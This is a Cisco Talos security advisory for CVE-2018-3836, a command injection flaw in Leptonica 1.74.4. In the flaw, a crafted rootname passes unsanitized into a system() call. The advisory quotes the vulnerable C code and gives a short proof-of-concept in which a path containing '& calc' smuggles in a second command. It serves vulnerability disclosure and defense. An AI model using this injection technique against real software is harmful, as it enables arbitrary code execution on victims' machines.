Talos Vulnerability Report

TALOS-2018-0516

Leptonica gplotMakeOutput Command Injection Vulnerability

January 22, 2018
CVE Number

CVE-2018-3836

Summary

An exploitable command injection vulnerability exists in the gplotMakeOutput function of Leptonica 1.74.4. A specially crafted gplot rootname argument can cause a command injection resulting in arbitrary code execution. An attacker can provide a malicious path as input to an application that passes attacker data to this function to trigger this vulnerability.

Tested Versions

Leptonica 1.74.4

Product URLs

http://www.leptonica.com/

CVSSv3 Score

7.0 - CVSS:3.0/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H

CWE

CWE-78: Improper Neutralization of Special Elements used in an OS Command (‘OS Command Injection’)

Details

Leptonica is an open source library mainly used for image processing and analysis. An OS Command Injection vulnerability exists in gplotMakeOutput function. A lack of sanitization of the gplot->cmdname field could allow an attacker to inject an arbitrary command which is later executed via the system function.

Let us take a closer look at the vulnerable function:

Line 374	l_int32
Line 375	gplotMakeOutput(GPLOT  *gplot)
Line 376	{
Line 377	char     buf[L_BUF_SIZE];
Line 378	char    *cmdname;
Line 379	l_int32  ignore;
Line 380
Line 381		PROCNAME("gplotMakeOutput");
Line 382
Line 383		if (!gplot)
Line 384			return ERROR_INT("gplot not defined", procName, 1);
Line 385
Line 386		gplotGenCommandFile(gplot);
Line 387		gplotGenDataFiles(gplot);
Line 388		cmdname = genPathname(gplot->cmdname, NULL);
Line 389
Line 390	#ifndef _WIN32
Line 391		snprintf(buf, L_BUF_SIZE, "gnuplot %s", cmdname);
Line 392	#else
Line 393		snprintf(buf, L_BUF_SIZE, "wgnuplot %s", cmdname);
Line 394	#endif  /* _WIN32 */
Line 395
Line 396	#ifndef OS_IOS /* iOS 11 does not support system() */
Line 397		ignore = system(buf);  /* gnuplot || wgnuplot */
Line 398	#endif /* !OS_IOS */

At line 397 we can see a call to the system function which takes buf as parameter. This variable is created based on the gnuplot application name and the content of the cmdname field. The cmdname field is initialized inside the gplotCreate function :

Line 137	GPLOT  *
Line 138	gplotCreate(const char  *rootname,
Line 139				l_int32      outformat,
Line 140				const char  *title,
Line 141				const char  *xlabel,
Line 142				const char  *ylabel)
Line 143	{
Line 144	char   *newroot;
Line 145	char    buf[L_BUF_SIZE];
Line 146	GPLOT  *gplot;
Line 147
Line 148		PROCNAME("gplotCreate");
Line 149
Line 150		if (!rootname)
Line 151			return (GPLOT *)ERROR_PTR("rootname not defined", procName, NULL);
Line 152		if (outformat != GPLOT_PNG && outformat != GPLOT_PS &&
Line 153			outformat != GPLOT_EPS && outformat != GPLOT_LATEX)
Line 154			return (GPLOT *)ERROR_PTR("outformat invalid", procName, NULL);
Line 155
Line 156		if ((gplot = (GPLOT *)LEPT_CALLOC(1, sizeof(GPLOT))) == NULL)
Line 157			return (GPLOT *)ERROR_PTR("gplot not made", procName, NULL);
Line 158		gplot->cmddata = sarrayCreate(0);
Line 159		gplot->datanames = sarrayCreate(0);
Line 160		gplot->plotdata = sarrayCreate(0);
Line 161		gplot->plottitles = sarrayCreate(0);
Line 162		gplot->plotstyles = numaCreate(0);
Line 163
Line 164			/* Save title, labels, rootname, outformat, cmdname, outname */
Line 165		newroot = genPathname(rootname, NULL);
Line 166		gplot->rootname = newroot;
Line 167		gplot->outformat = outformat;
Line 168		snprintf(buf, L_BUF_SIZE, "%s.cmd", rootname);
Line 169		gplot->cmdname = stringNew(buf);

At lines 168-169 we see that the argument rootname is copied to gplot->cmdname. The variable rootname should represent the root path name for all plotting operations, but because this parameter can be dynamically set based on data coming from a user it should be sanitized.. A malicious user can create a path containing one of several special characters [ | , &, ` ` ] which allows for adding additional command and which in consequence can lead to arbitrary code execution.

Exploit Proof-of-Concept

#include "allheaders.h"
int main()

	GPLOT       *gplot;
	gplot = gplotCreate("/tmp/lept/histo/color & calc ", GPLOT_PNG,
		"color histogram with octcube indexing",
		"octcube index", "number of pixels in cube");
	gplotMakeOutput(gplot);
	return 0;

Timeline

2018-01-22 - Vendor Disclosure
2018-02-01 - Public Release

Credit

Discovered by Marcin 'Icewall' Noga of Cisco Talos.